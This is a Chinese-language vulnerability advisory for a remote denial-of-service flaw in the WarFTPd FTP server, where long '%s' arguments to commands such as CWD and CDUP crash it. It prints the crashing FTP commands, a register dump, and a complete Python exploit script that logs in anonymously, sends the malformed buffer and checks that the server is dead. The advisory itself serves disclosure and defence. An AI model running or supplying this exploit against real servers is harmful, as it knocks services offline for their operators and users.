WarFTPd多个命令处理远程拒绝服务漏洞
发布日期:2006-11-07
更新日期:2006-11-09
受影响系统:Jgaa WarFTPd 1.82.00-RC11
描述:
BUGTRAQ ID:
20944
War FTP Daemon是32位Windows平台上的FTP服务器。
WarFTPd在处理多个命令的畸形参数时存在漏洞,远程攻击者可能利用此漏洞对服务器造成拒绝服务。
如果向各种命令发送了包含有两次“%s”字符的超长字符串的话,就会导致WarFTPd拒绝服务。例如,发送以下命令:
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256
或者:
ftp> cdup %s*256
就会导致服务器崩溃:
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540
00431540 8A08 MOV CL,BYTE PTR DS:[EAX]
目前已知至少以下命令受这个漏洞影响:
CWD
CDUP
DELE
NLST
LIST
SIZE
<*来源:Joxean Koret (
joxeankoret@yahoo.es)
链接:
http://secunia.com/advisories/22755/
http://marc.theaimsgroup.com/?l=bugtraq&m=116293773809548&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/env python
import sys
import ftplib
print "WAR_FTPD Remote Denial Of Service (DOS)"
print "Copyright (c) Joxean Koret"
print
target = "192.168.1.13"
targetPort = "21"
try:
ftp = ftplib.FTP()
print "[+] Connecting to target "
msg = ftp.connect(target, targetPort)
print "[+] Ok. Target banner"
print msg
print
print "[+] Trying to logging anonymously"
msg = ftp.login() # Anonymous
print "[+] Ok. Message"
print msg
print
except:
print "[!] Exploit doesn't work. " + str(sys.exc_info()[1])
sys.exit(0)
a = "%s%s"
"""
for i in range(0):
a += a
"""
b = "AAAA"
for i in range(6):
b += b
a = a + b
print "[+] Exploiting with a buffer of " + str(len(a)) + " byte(s) ... "
try:
ftp.cwd(a)
except:
print "[+] Exploit apparently works. Trying to verify it ... "
try:
ftp.connect(target, targetPort)
print "[!] No, it doesn't work [" + str(sys.exc_info()[1]) + "] :("
except:
print "[!] Ok. Server is dead, exploit successfully executed. "
建议:
厂商补丁:
Jgaa
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://support.jgaa.com/index.php?MenuPage=frontpage浏览次数:3123
严重程度:0(网友投票)